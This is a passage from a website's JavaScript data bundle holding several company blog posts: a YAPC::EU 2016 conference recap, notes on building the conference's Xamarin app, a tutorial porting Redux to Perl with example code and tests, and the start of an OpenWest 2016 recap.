1as palpable; there were probably a score of people in the\nclass, and by the end of the day I knew at least half of them well\nenough that we hung out again later in the week. The sense of\ncommunity continued that evening, when local IT firm Evozon hosted a\npre-conference rooftop party at their headquarters, and again, I met\nmany folks that I'm sure I'll be in touch with for quite a while.\n\nWednesday kicked off the conference itself. Highlights of the tech\nsessions that day were Merijn/Tux's presentation on the latest changes\nin the Text::CSV CPAN module, including some older features that I\nhadn't known about and have already made use of, and Lee Johnson's\ntour of cool Git tricks that he uses (and one of the other great\nthings I discovered about the Perl community is how open Perl folks\nare to using the right tool for the right job, which is why so many of\nthe talks there were about \"perl-adjacent\" topics like Git, Docker,\nPostgres, and the like). Throughout the day, I again was amazed by how\nmany random and interesting conversations I found myself a part of;\nthat trend continued again that night, when the official conference\nkickoff party happened in the courtyard of the historic Banffy palace\nin downtown Cluj. (For folks who might assume that computer geeks\ndon't dance: as the evening wore on, a group of us popped out to find\na quieter bar more conducive to conversation, but when we left, a\nlarge contingent of Perlers were getting their groove on something\nfierce to the DJ that the conference organizers had arranged for, and\nby all reports they kept going all night long.)\n\n(Even though the rest of Infinity couldn't attend, they were also part\nof the community on Wednesday, releasing\n[a great mobile app for the conference on iOS and Android](/resources/blog/the-technical-details-of-our-yapceu-app)\nfor YAPC attendees to use when planning their week.)\n\nThursday's tech highlights were: Job/jkva's presentation on building\naccessible web sites (which was a treat if you are a fan of the topic,\nand if you aren't a fan of the topic, you should be); Attila-Mihaly\nBalazs' presentation on low-level details of computing and why they\nare relevant to programmers in higher-level languages like Perl;\nAndrew Yates' talk on bioinformatics and Perl (which took me back to\nmy days as a fledgling programmer in the 90s, since it turns out some\nof the bioinformatics things that I was playing with back then are\nstill how they are done now, just orders of magnitude faster and more\nthoroughly); and Guinevere Nell's lightning talk on agent-based\nmodeling in Perl. There was no official conference event that evening,\nbut having made so many friends, we all had no problem finding ways to\nget into trouble that night...\n\nFriday was the last day of the conference. I gave a very quick\npresentation on the Swift programming language that morning, but the\nreal highlights were Larry Wall's keynote (a fun meditation on his\nefforts to write a program to make it easy to categorize and search\nJapanese characters), plus Lee Johnson's discussion on DBIx::Class. I\nhad to leave a little before the official end of the conference on\nFriday in order to catch my flight to Paris (where I am writing this\nrecap), but even at the airport, I found myself meeting and chatting\nwith other YAPC attendees, and wishing I didn't have a pre-existing\ncommitment in France that prevented me from staying an extra day to\njoin the folks who were going to visit the Turda Salt Mine near Cluj.\n\nOn the whole, YAPC::EU was a great experience, with great technical\ncontent, tons of interesting people willing to chat about things both\ntechnical and not, and again, that unparalleled sense of community.\nI'm looking forward to my next one (and plotting how I can make it to\nsome of the other local Perl events that folks I met invited me to, as\nwell as how to just go visit some of those folks in their respective\ncities, whether or not there are events to use as an excuse). Until\nthen, I'll just end with my sincere thanks to Andy, Aaron, Alina,\nAmalia, Attila, bulk 88, Dan from Bristol, Dan not from Bristol, domm,\nDrForr, Dutch John whose last name I never learned, Edin, Ermann,\nGeoff, Gordon, Ilmari, Jean, Job, Jussi, Liz, Lukas, mst, Mallory,\nMerijn, Michele, Peter C, Rami, Sawyer, Stefan, Sue, Theo, Tudor C,\nTudor P, Vidar, and Wendy---as well as Rob, Mircea, and everyone else\nat Evozon, and all of the other folks whose names aren't popping to\nmind right now---for welcoming me into the Perl community and making\nYAPC so much fun.\n",icon:es.A,color:"blue"},el={slug:"the-technical-details-of-our-yapceu-app",title:"The Technical Details Of Our YAPC::EU app",excerpt:"YAPC::EU recently hosted their annual Perl Conference in Cluj-Napoca, Romania, and Infinity Interactive is proud to have partnered with them in releasing the YAPC::EU mobile application on iOS and Android. Today, weâll cover some of the technical challenges we faced in creating this app, which we built on the foundation of the Open Source project that provided a similar app for Xamarin Evolve 2016.",authors:["Paul Zolnierczyk"],publishDate:new Date("2016-10-05"),category:"Development",tags:["Technology","C Sharp","Xamarin"],readTime:"6 min read",content:"<div class=\"float:right\">\n <img src=\"/content/images/blogs/yapc-app/splash.png\"\n alt=\"YAPC::EU\"\n title=\"YAPC::EU\"\n width=\"250\"/>\n</div>\n\n\x3c!-- cut --\x3e\n\n## Show Me The Schedule!\n\nThe basic functionality of any conference app is to provide up-to-date\nschedule information, so that an attendee can make decisions about\nwhich sessions to attend. To meet this requirement, we needed a
1source\nof data that was updated in real time and accurately reflected the\nschedule displayed on the [YAPC::EU](http://act.yapc.eu/ye2016/)\nwebsite. Fortunately, the [ACT software](http://act.mongueurs.net/)\nused by the conference provided an iCal feed of the schedule. We were\nable to use this standard data format without any interruption or\ninterference to the way YAPC::EU operates, while also getting\nreal-time schedule updates for our app.\n\n## The iCal Giveth & The iCal Taketh Away\n\n### RFC 5545 â Do You Speak It?\n\nUnfortunately, there were some inconsistencies with the YAPC::EU iCal\nfeed regarding compliance with the relevant RFCs\n([2445](https://www.ietf.org/rfc/rfc2445.txt) and\n[5545](https://tools.ietf.org/html/rfc5545)). More specifically, the\nprovided iCal file didn't conform to the spec for certain fields:\n`ATTENDEE`, `COMMENT`, and `ORGANIZER`. We did find some existing .NET\nlibraries that implemented iCal parsers, but we weren't able to use\nthem due to this lack of conformance; they all required strict RFC\n5545 semantics.\n\n### Time To Get Close To The Metal?\n\nWe considered writing a quick-and-dirty Node app to parse the iCal and\nre-serve it as JSON, which the mobile app could then pull in directly.\nAlthough this was a theoretically viable solution, we decided that it\ninvolved too many moving parts. It would be another hosted app that\ncould go down, would need to be monitored, would complicate deployment\nplans, and so on.\n\n### Sometimes You Just Gotta Say, \"Parse It!\"\n\nThe only \"easy\" option left, the one that didn't involve another\nservice piece, was to manually parse the iCal file ourselves in the\nbackend of the system. While it didn't adhere strictly to the\n[RFC 5545](https://tools.ietf.org/html/rfc5545) standard, the iCal\nfile did follow the structure for the most part. This allowed us to\nread the file line by line looking for tokens such as `LOCATION:` or\n`DESCRIPTION:` to map to our event objects. In addition to a\nline-based parsing approach, we also had to account for multi-line\nevent descriptions. Some descriptions didn't correctly provide the\nnewline character (`\\n`), and other characters weren't properly\nescaped. In the end, our DIY approach ended up being beneficial, as we\nwere easily able to handle these inconsistencies as we discovered them\n\nWe used the\n[Azure Scheduler](https://azure.microsoft.com/en-us/services/scheduler/)\nto trigger a new iCal file fetch-parse cycle once an hour, so that any\nschedule changes would be pushed live to the mobile application.\nLater, after the event was actually underway, the organizers asked us\nto bump up the frequency to every 15 minutes to better accommodate\ntheir schedule changes. (They were dynamically rescheduling talks\nbased on projected attendance to make the best use of their conference\nspace.) Azure Scheduler made this as easy as pushing a button.\n\n## More Than Schedules\n\n### Info About The Sponsors\n\nTech conferences generally depend on sponsors to help make them\nhappen. Naturally, we wanted information about the YAPC::EU sponsors\nto be in a prominent location within the app. We didn't have a chance\nto coordinate a standard way to exchange data about the sponsors with\nthe organizers of YAPC::EU. Instead, we manually extracted the data\nfrom the sponsor list on the YAPC::EU site and added it to the app. We\nordered the sponsors by their tier: the highest tier sponsors were\ndisplayed first, and we went down the list from there. We also linked\nto the sponsors' web pages and, where possible, to their Twitter\nhandle.\n\n### Official Hashtag Timeline\n\nYAPC::EU also had an official hashtag:\n[#yapceu2016](https://twitter.com/search?q=%23yapceu2016). The Xamarin\nEvolve app that we had based the app on already had support for\ndisplaying the Twitter timeline for a particular hashtag, so we\nupdated that functionality to use the YAPC::EU tag. Exposing the\nofficial hashtag timeline within the app meant that users could easily\nfollow it without having to track a new hashtag in their usual Twitter\nfeed.\n\n## Azure\n\n### Application Backend\n\nThe existing Xamarin Evolve app backend that we used as the basis for\nthe YAPC::EU app backend was designed to be used and hosted on\n[Azure App Services](https://azure.microsoft.com/en-us
1/services/app-service/).\nThis made it very easy to deploy and scale for usage. During\ndevelopment, the Azure free tier was more than ample for our demands.\nOnce the app was ready to go live, it was a matter of flipping a\nswitch to move to the paid tier. This ensured that we would be able to\nhandle any and all increases in traffic as the app was used by the\nconference attendees. As already mentioned, the Scheduler provided an\neasy means of running recurring jobs. All in all, Azure provided a\nscalable and stable back end with a minimal investment of both cost\nand time on our part.\n\n### Monitoring\n\nAlong with the monitoring available to us via Azure, we also use an\nexternal third-party tool to monitor the backend. An issue within the\nAzure network could take down both the site and the Azure monitoring\nservice. We set up [Pingdom](https://www.pingdom.com/) to query an API\nendpoint that made a very lightweight database query. This exercised\nthe entire application stack and validated that the backend was not\nonly up, but also responding to requests in a timely fashion.\n\n## App Stores\n\n### Apple App Store\n\nRecently Apple made changes to their review process which have\nsignificantly expedited getting apps approved and into the store.\nWhile it once took four to seven days for review and approval, in most\ncases, it now takes 24 hours or less. We are very happy to report that\nthis was indeed the case for us. If you're wondering what the\ndifference between a Xamarin deploy and a Xcode iOS deploy is, there\nisn't one! Both platforms yield an `.ipa` file that you submit to the\napp store for review. We did have one app rejection due to overusage\nof Apple iCloud storage, but that was quickly resolved once we\noptimized app icon sizes.\n\n### Google Play\n\nDeployment to the Google Play store was extremely straightforward and\nquick. The Play store doesn't have a lengthy approval process and thus\napps can be live within a few hours. Xamarin makes it very easy to\nexport the `.apk` file and sign it as needed for a Play store release.\nOnce uploaded we were able to release a beta version to some users to\ntest directly from the Play store. The Play store also made the switch\nfrom beta to release version trivial.\n\n## Conclusion\n\nThe most challenging piece of this conference app was importing the\niCal data into the application. Importing data that comes in a\nstandard format usually isn't a challenge, but incomplete compliance\nwith the RFCs caused some obstacles that forced us to consider\nalternatives. While this was an unexpected challenge, we recognize\nthat many conference software systems don't support _any_ kind of\nstructured data export, and so we're grateful that we were able to get\nthe schedule data as we did. In an ideal world, conference software\nsystems would offer up a variety of format options for exporting data,\nsuch as JSON, XML, CSV, and/or XLS. In a **perfect** world, that\ndataset would also contain all the relevant metadata about the\nconference, such as details about sponsors, venue location and maps,\nWiFi information, and the conference Code of Conduct, all in one\nplace. All in all, it was a lot of fun to work on and we're extremely\nhappy to hear the attendees and organizers of\n[YAPC::EU](http://act.yapc.eu/ye2016/) found the app useful and a part\nof their daily conference experience.\n\n**Update:** The YAPC::EU::2016 apps are no longer available on iOS or\nAndroid. Please check out the other\n[iOS](https://itunes.apple.com/us/developer/infinity-interactive/id668745596)\nand\n[Android](https://play.google.com/store/apps/developer?id=Infinity+Interactive)\napps we've created with Xamarin.\n",icon:i.A,color:"red"},eh={slug:"redux-redux-via-pollux",title:"Redux redux (via Pollux)",excerpt:"Redux is a small JavaScript library that is quite popular at the moment. Liberally inspired by functional programming principles, it offers a state container that is accessed and modified via message passing.",authors:["Yanick Champoux"],publishDate:new Date("2016-09-06"),category:"Development",tags:["Technology","JavaScript","Perl","Functional Programming"],readTime:"15 min read",content:"Thanks to this message passing, and a strong emphasis on immutability\nand pure functions, it minimizes surprises and maximizes sanity. One\nof its beautiful promises, for example, is that since the state is\nonly modified via messages (or actions) and pure functions, one can\nconsistently replay the actions of an application and end up in\nexactly the same final state.\n\nAs I was reading and playing with Redux, I began to wonder... This is\na blissfully small library. How easy would it be to port it to Perl?\nIn the name of science, I had to try.\n\n\x3c!-- cut --\x3e\n\nSo what we'll do in this blog entry is go through most of the\n[Redux tutorial](http://redux.js.org/index.html) and implement the\ndifferent notions and examples as we go along. Since what you are\nabout to see is still only the result of a few hours of playful\nhacking, it will be in no way a one-to-one parity with the real deal.\nAnd yet, I think you'll be pleasantly surprised...\n\n## Actions\n\nOur [first stop](http://redux.js.org/docs/basics/Actions.html)
1is an\neasy one. The messages that Redux uses, called _actions_, are just\nJavaScript objects, aka good old hashes, with a `type` key. So,\nreally, we could just do\n\n```perl\nmy $action = {\n type => 'ADD_TODO',\n text => 'Build my first Redux app',\n};\n```\n\nand call it a day.\n\nBut, honestly, where is the fun in that? Instead, let's create a class\nthat will help generate all those different action types and action\ninstances.\n\nThis is something we could do in many ways, but let's try to stay\nminimalistic. We just want a quick way to declare those new types with\nwhatever fields they might have. Something like:\n\n```perl\nmy $AddTodo = Pollux::Action->new( 'ADD_TODO', 'text' );\nmy $DoneTodo = Pollux::Action->new( 'DONE_TODO', 'index' );\n```\n\nOf course, we want to be able to create actions with those types.\n\n```perl\nmy $todo = $AddTodo->( 'do the thing' );\n# $todo is now { type => 'ADD_TODO', text => 'do the think' }\n```\n\nThere will be a lot of comparisons in our future, so we might want to\nsprinkle a little bit of overloading sugar on top of it as well. As\nseen in the previous snippet, using the type as a coderef creates an\naction. We will also want a quick way to get the type name.\n\n```perl\nprint \"$AddTodo\"; # will print 'ADD_TODO'\n```\n\nAnd a way to compare actions against types.\n\n```perl\nprint \"match\" if $todo ~~ $AddTodo;\n```\n\nAnd since \"Immutability\" is the word of the day, let's make sure once\nan action is created, we can't go ahead and mess with it either.\n\nAnd here is how we shall do all this.\n\n```perl\npackage Pollux::Action;\n\nuse List::MoreUtils qw/ zip /;\nuse Const::Fast;\n\nuse Moo;\nuse MooseX::MungeHas 'is_ro';\n\nuse experimental 'postderef';\n\nuse overload\n '\"\"' => sub { $_[0]->type },\n '&{}' => sub {\n my $self = shift;\n return sub {\n const my $r, {\n type => $self->type,\n $self->has_fields ? zip $self->fields->@*, @_ : ()\n };\n $r;\n }\n },\n '~~' => sub {\n my( $self, $other ) = @_;\n return $self->type eq ( ref $other ? $other->{type} : $other );\n },\n fallback => 1;\n\nhas type => ( required => 1 );\n\nhas fields => ( predicate => 1 );\n\nsub BUILDARGS {\n my $class = shift;\n\n my %args = ( type => uc shift );\n\n $args{fields} = [ @_ ] if @_;\n\n return \\%args;\n}\n\n1;\n```\n\nThree notes on that class:\n\n- Pollux? Yes, Pollux. Mostly because naming things is hard, and I\n could not come up with a single clever pun involving Redux and Perl.\n So I repeated both terms over and over again until they mushed\n together as _Pollux_. Could have been worse.\n- To ensure the generated hashes are not modified, I lock them up with\n [Const::Fast](https://metacpan.org/release/Const-Fast).\n- I totally put dibs on `$foo ? @_ : ()` and henceforth dub it \"the\n fat-lipped Elvis operator\".\n\n## A quick sidetrip to helper land\n\nWe already saw that we'll be using `Const::Fast` to make sure our data\nstructures aren't tampered with. On the flip side, if we do that, we\nshould also make it easy to clone and merge structures so that the\nimmutability won't be too much of a pain in the tuckus. For that,\nwe'll use the ever reliant [Clone](https://metacpan.org/release/Clone)\nand [Hash::Merge](https://metacpan.org/release/Hash-Merge).\n\n```perl\npackage Pollux;\n\nuse strict;\nuse warnings;\n\nuse Hash::Merge qw/ merge/;\nuse Clone qw/ clone /;\nuse List::AllUtils qw/ pairmap reduce /;\n\nuse experimental 'signatures';\n\nuse parent 'Exporter';\n\nour @EXPORT = qw/ clone merge combine_reducers /;\n\nHash::Merge::specify_behavior({\n SCALAR => {\n map { $_ => sub { $_[1] } } qw/ SCALAR ARRAY HASH /\n },\n ARRAY => {\n map { $_ => sub { $_[1] } } qw/ SCALAR ARRAY HASH /\n },\n HASH => {\n map { $_ => sub { $_[1] } } qw/ SCALAR ARRAY /,\n HASH => sub { Hash::Merge::_merge_hashes( $_[0], $_[1] ) },\n },\n}, 'Pollux');\n\n1;\n```\n\n## Reducers\n\n[Reducers](http://redux.js.org/docs/basics/Reducers.html) are also\npretty easy. They are, after all, functions that take a state and an\naction, and spit back the new state.\n\nThere are two bits of JavaScript magic we won't be able to fully\nreproduce, though. The first is the reducer signature\n\n```javascript\nfunction myReducer (state=defaultState,action) { ... }\n```\n\nwhich doesn't work in Perl as the take-a-default-value argument must\nbe on the tail end of the argument list. So I'll just decree that the\norder of arguments is flipped around in Pollux\n\n```perl\nsub my_reducer ( $action, $state='MY DEFAULT' ) { ... }\n```\n\nSo there.\n\nSecond thing is the nifty expension that ES6 can do on objects:\n\n```javascript\n{\n reducerOne,\n reducerTwo\n}\n\n// equivalent to\n{\n reducerOne: reducerOne,\n reducerTwo: reducerTwo\n}\n\n// where the values are the functions\n```\n\nI began to tinker with array refs of reducer names and peeks into the\ncaller namepaces for the function names but, y'know what?, No, it's\nnot worth it. Again, for Pollux I'll be lazy and say that\n\n```perl\nm
1y $reducer = combine_reducers(\n reducer_one => \\&reducer_one,\n reducer_two => \\&reducer_two,\n);\n```\n\nwill be good enough.\n\nKnowing that, all we really need is that `combine_reducers` function,\nwhich we'll add to the main `Pollux` class:\n\n```perl\nsub combine_reducers {\n my @reducers = @_;\n\n return sub ( $action=undef, $store={} ) {\n reduce { merge( $a, $b ) }\n $store,\n pairmap {\n +{ $a => $b->($action, exists $store->{$a} ? $store->{$a} : () ) }\n } @reducers;\n }\n}\n```\n\nAnd that's pretty much all we need to create and mix our reducers.\n\n```perl\nuse 5.20.0;\n\nuse warnings;\n\nuse Test::More;\n\nuse experimental 'switch', 'signatures';\n\nuse Pollux;\nuse Pollux::Action;\n\nmy $AddTodo\n = Pollux::Action->new( 'ADD_TODO', 'text' );\nmy $CompleteTodo\n = Pollux::Action->new( 'COMPLETE_TODO', 'index' );\nmy $SetVisibilityFilter\n = Pollux::Action->new( 'SET_VISIBILITY_FILTER', 'filter' );\n\nsub visibility_filter( $action, $state = 'SHOW_ALL' ) {\n given ( $action ) {\n return $action->{filter} when $SetVisibilityFilter;\n default{ return $state }\n }\n}\n\nsub todos( $action=undef, $state=[] ) {\n given( $action ) {\n when( $AddTodo ) {\n return [\n @$state,\n { text => $action->{text}, completed => 0 }\n ];\n }\n when ( $CompleteTodo ) {\n my $s = clone($state);\n $s->[ $action->{index} ]{completed} = 1;\n return $s;\n }\n default{ return $state }\n }\n}\n\nmy $todo_app = combine_reducers(\n visibility_filter => \\&visibility_filter,\n todos => \\&todos,\n);\n\nmy $state = $todo_app->();\n\nis_deeply $state => {\n visibility_filter => 'SHOW_ALL',\n todos => [],\n}, \"initial\";\n\n$state = $todo_app->( $SetVisibilityFilter->('HIDE_ALL'), $state );\n\nis_deeply $state => {\n visibility_filter => 'HIDE_ALL',\n todos => [],\n}, \"SET_VISIBILITY_FILTER\";\n\n$state = $todo_app->( $AddTodo->('do stuff'), $state );\n\nis_deeply $state => {\n visibility_filter => 'HIDE_ALL',\n todos => [ { text => 'do stuff', completed => 0 } ],\n}, \"add todo\";\n\n$state = $todo_app->( $CompleteTodo->(0), $state );\n\nis_deeply $state => {\n visibility_filter => 'HIDE_ALL',\n todos => [ { text => 'do stuff', completed => 1 } ],\n}, \"complete todo\";\n```\n\n## The Store\n\nTime to put things together with\n[the store](http://redux.js.org/docs/basics/Store.html).\n\nThe API, happily, is a simple one. Before all, it needs to be able to\nkeep a state. And because we can, let's make sure it's always an\nimmutable structure via\n[Type::Tiny](https://metacpan.org/release/Type-Tiny) coercion.\n\n```perl\npackage Pollux::Store;\n\nuse Moose;\nuse MooseX::MungeHas 'is_ro';\n\nuse experimental qw/ signatures /;\n\nuse Type::Tiny;\nuse Types::Standard qw/ CodeRef ArrayRef HashRef Any /;\nuse Const::Fast;\n\nhas state => (\n is => 'rwp',\n predicate => 1,\n coerce => 1,\n isa => Type::Tiny->new->plus_coercions(\n Any ,=> sub { const my $immu = $_; return $immu }\n ),\n);\n```\n\nTo modify that state, the store also needs a reducer.\n\n```perl\nuse Pollux;\n\nhas reducer => (\n required => 1,\n coerce => 1,\n isa => Type::Tiny->new(\n parent => CodeRef,\n )->plus_coercions(\n HashRef ,=> sub { combine_reducers( %$_ ) }\n ),\n);\n```\n\nNext, to feed the reducer, the `dispatch` method.\n\n```perl\nsub dispatch($self,$action) {\n $self->_set_state( $self->reducer->(\n $action, $self->has_state ? $self->state : ()\n ));\n}\n```\n\nAnd, finally, let's not forget the ability to have callback\nsubscribers to state changes.\n\n```perl\nuse Scalar::Util qw/ refaddr /;\n\nuse experimental 'current_sub';\n\nhas '+state' => (\n trigger => sub($self,$new,$old=undef) {\n no warnings 'uninitialized';\n\n return if $new eq $old;\n\n $self->unprocessed_subscribers([ $self->all_subscribers ]);\n\n $self->notify;\n },\n);\n\nhas subscribers => (\n traits => [ 'Array' ],\n is => 'rw',\n default => sub { [] },\n handles =>
1 {\n all_subscribers => 'elements',\n add_subscriber => 'push',\n grep_subscribers => 'grep',\n },\n);\n\nhas unprocessed_subscribers => (\n traits => [ 'Array' ],\n is => 'rw',\n default => sub { [] },\n handles => {\n shift_unprocessed_subscribers => 'shift',\n },\n);\n\nsub subscribe($self,$code) {\n $self->add_subscriber($code);\n\n my $addr = refaddr $code;\n\n return sub { $self->subscribers([\n $self->grep_subscribers(sub{ $addr != refaddr $_ })\n ]) }\n}\n\nsub notify($self) {\n my $sub = $self->shift_unprocessed_subscribers or return;\n $sub->($self);\n goto __SUB__; # tail recursion!\n}\n```\n\nAnd that's it. We now have a functional redux-like store!\n\n```perl\nuse strict;\nuse warnings;\n\nuse Test::More tests => 2;\n\nuse experimental 'switch', 'signatures';\n\nuse Pollux;\nuse Pollux::Action;\nuse Pollux::Store;\n\nmy $AddTodo\n = Pollux::Action->new( 'ADD_TODO', 'text' );\nmy $CompleteTodo\n = Pollux::Action->new( 'COMPLETE_TODO', 'index' );\nmy $SetVisibilityFilter\n = Pollux::Action->new( 'SET_VISIBILITY_FILTER', 'filter' );\n\nsub visibility_filter($action, $state = 'SHOW_ALL' ) {\n given ( $action ) {\n\n return $action->{filter} when $SetVisibilityFilter;\n\n default{ return $state }\n\n }\n}\n\nsub todos($action=undef,$state=[]) {\n given( $action ) {\n when( $AddTodo ) {\n return [ @$state, { text => $action->{text}, completed => 0 } ];\n }\n when ( $CompleteTodo ) {\n my $i = 0;\n [ map { ( $i++ != $action->{index} ) ? $_ : merge( $_, { completed => 1 } ) } @$state ];\n }\n default{ return $state }\n }\n}\n\nmy $store = Pollux::Store->new( reducer => {\n visibility_filter => \\&visibility_filter,\n todos => \\&todos\n});\n\nmy @log;\n\npush @log, $store->state;\n\nmy $unsubscribe = $store->subscribe(sub($store) {\n push @log, $store->state;\n});\n\n$store->dispatch($AddTodo->('Learn about actions'));\n$store->dispatch($AddTodo->('Learn about reducers'));\n$store->dispatch($AddTodo->('Learn about store'));\n$store->dispatch($CompleteTodo->(0));\n$store->dispatch($CompleteTodo->(1));\n$store->dispatch($SetVisibilityFilter->('SHOW_COMPLETED'));\n\n$unsubscribe->();\n\n$store->dispatch($AddTodo->('One more'));\n\nis scalar @log => 7, '6 events + initial state';\n\nis_deeply $store->state, {\n 'todos' => [\n {\n completed => 1,\n text => 'Learn about actions'\n },\n {\n completed => 1,\n text => 'Learn about reducers'\n },\n {\n completed => 0,\n text => 'Learn about store'\n },\n {\n completed => 0,\n text => 'One more'\n }\n ],\n visibility_filter => 'SHOW_COMPLETED'\n}, 'final state';\n```\n\n## Middleware\n\nLast major piece still missing:\n[middlewares](http://redux.js.org/docs/advanced/Middleware.html).\nTo add this functionality, we'll alter the `dispatch` method of the\nstore just a wee bit.\n\n```perl\nuse List::Util qw/ reduce /;\n\nhas middlewares => (\n is => 'ro',\n traits => [ qw/ Array / ],\n default => sub { [] },\n handles => {\n all_middlewares => 'elements',\n },\n);\n\nsub _dispatch_list($self) {\n return $self->all_middlewares, sub { $self->_dispatch(shift) };\n}\n\nsub dispatch($self,$action) {\n ( reduce {\n # inner scope to thwart reduce scoping issue\n {\n my ( $inner, $outer ) = ($a,$b);\n sub { $outer->( $self, $inner, shift ) };\n }\n } reverse $self->_dispatch_list )->($action);\n}\n\nsub _dispatch($self,$action) {\n $self->_set_state( $self->reducer->(\n $action, $self->has_state ? $self->state : ()\n ));\n}\n```\n\nYup. When I said 'a wee bit', I really meant a wee bit. You'll notice\nthat, since in Perl-space we don't have the nifty `(x)=>(y)=>(z)`\ncurrying that JavaScript allows, we went for a more boring\n`sub($store,$next,$action)` signature. But beside that, we're good to\ngo.\n\n```perl\nuse strict;\nuse warnings;\n\nuse Test::More tests => 2;\n\nuse Pollux;\nuse Pollux::Store;\nuse Pollux::Action;\n\nuse experimental 'signatures';\n\nmy $Action = Pollux::Action->new( 'ACTION', 'text' );\n\nmy @middlewares = map {\n my $x = $_;\n sub($store,$next,$action) {\n $next->( $Action->( $action->{text} . $x ) )\n }\n} 1..3;\n\nmy $store = Pollux::Store->new(\n middlewares => \\@middlewares,\n reducer => sub($action,$state='') {\n $state . $action->{text}\n },\n);\n\n$store->dispatch( $Action->( 'foo' ) );\n\nis $store->state => 'foo123', \"middleware run in order\";\n\nsubtest \"middleware doing a dispatch\" => sub {\n my $Action = Pollux::Action->new( 'ACTION', 'text' );\n\n my $store = Pollux::Store->new(\n middlewares => [\n sub ($store,$next,$action) {\n $next->( $Action->( $action->{text} . 'o' ) )\n },\n sub ($store,$next,$action) {\n $store->dispatch( $Action->('bar') )\n if $action->{text} eq 'foo'; $next->($action)\n },\n ],\n reducer => sub($action,$state='') {\n $state . $action->{text}\n },\n );\n\n $store->dispatch( $Action->( 'fo' ) );\n\n is $store->state => 'barofoo', \"middleware can dispatch\";\n};\n```\n\n## Tadah\n\nAnd here we are, with a basic but\n[functional Perl Redux proof of concept](https://github.com/yanick/pollux).\nThe jury is still out as to whether it'll make its way to CPAN. But\neven if it doesn't, I hope it still helped to show that Perl truly has\na little bit of everything for everyone, including the functional\nprogramming crowd.\
1n",icon:U.A,color:"green"},ed={slug:"announcing-our-yapceu-app",title:"Announcing our YAPC::EU app!",excerpt:"Release announcement for YAPC::EU mobile application.",authors:["Paul Zolnierczyk"],publishDate:new Date("2016-08-23"),category:"Development",tags:["Technology","Xamarin","Perl"],readTime:"2 min read",content:'<div class="float:right">\n <img src="/content/images/blogs/yapc-app/splash.png"\n alt="YAPC::EU"\n title="YAPC::EU"\n width="250"/>\n</div>\n\nIf youâre part of the Perl community, you probably know how much\n[Infinity loves Perl](/perl) and Open Source. However, you may\n_not_ know how much we also love [Xamarin](https://www.xamarin.com/)\nand mobile development --- but after you check out the new\nYAPC::EU::2016 app on iOS or Android we\'ve put together, we hope\nyouâll appreciate how our love for Open Source is too big to be\nlimited to just one language or platform.\n\n\x3c!-- cut --\x3e\n\n<div class="center clearfix">\n <a href="/content/images/blogs/yapc-app/ios-full.png" target="_blank">\n <img src="/content/images/blogs/yapc-app/ios.jpg" alt="YAPC::EU Talks on iOS" title="YAPC::EU Talks on iOS" />\n </a>\n <a href="/content/images/blogs/yapc-app/android-full.png" target="_blank">\n <img src="/content/images/blogs/yapc-app/android.jpg" alt="Talk Details on Android" title="Talk Details on Android" />\n </a>\n</div>\n\nIf youâre attending [YAPC::EU::2016](http://act.yapc.eu/ye2016/) in\nCluj (or even if youâre not!), we hope you download our schedule app\nand let us know what you think. It features:\n\n- Talk schedule\n- Event schedule\n- [#yapceu2016](https://twitter.com/hashtag/yapceu2016) Twitter feed\n- Sponsor Info\n- Calendar integration\n\nWeâd like to thank Xamarin for Open Sourcing the app they put together\nfor their [Evolve conference](https://evolve.xamarin.com/). We used\nthat as the basis for our app, which made it much easier to get a\nrunning start on the development.\n\nFinally, if you would like help developing a custom, cross-platform,\nfully native mobile application for your next conference, or any other\nmobile development needs, [please contact us](/connect).\n\n(â¦and if you\'re curious about the technical details of how we were\nable to grab an existing OSS Xamarin app and modify it to extract the\nYAPC::EU schedule info out of ACT, then stay tuned for our upcoming\npost on how we pulled this off!)\n\n**Update:** The YAPC::EU::2016 apps are no longer available on iOS or\nAndroid. Please check out the other\n[iOS](https://itunes.apple.com/us/developer/infinity-interactive/id668745596)\nand\n[Android](https://play.google.com/store/apps/developer?id=Infinity+Interactive)\napps we\'ve created with Xamarin.\n',icon:m.A,color:"blue"};var ec=t(6977);let eu={slug:"openwest-2016-recap",title:"OpenWest 2016 Recap",excerpt:"A recap of Infinity Interactive's attendance of OpenWest 2016.",authors:["Jake Goldsborough"],publishDate:new Date("2016-07-22"),featuredImage:"/content/images/blogs/openwest-2016-recap/venue.jpg",category:"Team",tags:["Technology","Culture","Conferences"],readTime:"10 min read",content:"OpenWest is âthe largest regional tech conference devoted to all\nthings OPEN: Hardware, Standards, Source & Dataâ. This year the\nconference was held in Sandy, UT from July 13th to July 16th.\n\nInfinity sent a large contingent of folks to Sandy for the conference,\nand a number of them have summarized their experiences in this blog\npost.\n\n\x3c!-- cut --\x3e\n\n## Recap\n\n### Howdy, yâall. Jake here.\n\nIâll be starting off this adventure by sharing my OpenWest tales.\n\nWhile the talks were great, I personally enjoyed the CTF challenges,\nlocksport, and the hardware and soldering labs the most.\n\nUpon arrival, you were given a PCB board (which doubled as your name\nbadge) and not much else. You could then complete puzzles and\nchallenges to score points. These challenges included lock picking,\nhash cracking, and packet sniffing. After 200 points, you could pick\nup a kit for the board that included buttons, a dot matrix display,\nCPU, and battery pack. After that, it was off to the soldering lab!\n\nItâs been some years since I soldered, so a few of them were rough. My\nfirst attempt to turn the board on was a no go. Nate, one of my\ncoworkers also in attendance, helped me clean up a few of the solders,\nand we got it working on the second attempt. You could then program\ntwo lines of custom text and play a little game of snake. I programmed\nmy name and it became the coolest conference name badge in my\ncollection.\n\nPok\xe9mon Go was also released for Android N during the conference so it\nwas fun exploring the area with coworkers.\n\n### This is what Alex Sparkman had to say.\n\nI had the most fun getting to better know my coworkers. OpenWest\nincluded free admission to the\n[Biz Games](http://www.thebizgames.com/utah/) event next door. They had\neverything from video games, to rock climbing, to target practice with\nairsoft guns.\n\nThe bumper balls had to be my favorite, despite losing horribly. Jacob\nand I both donned the inflatable balls with the object to knock the\nother out of the rectangle. After losing to him three times in a row,\nI executed a drop kick with perfect precision, but no effect. He\nrebuffed me with a barrage of bounces until I laid exhausted on the\noutside of the arena.\n\nLater conversations revealed that he had experience with Judo. His\ntraining made it alot easier to keep his center of mass over his base.\nHe ended up teaching me a cool trick for any future games I might\nplay.\n\n### Here are Jacobâs thoughts.\n\nOpenWest 2016 was my first tech conference, and I had a fantastic\ntime. It didnât take me long to figure out why the conference was\ncalled OpenWest;
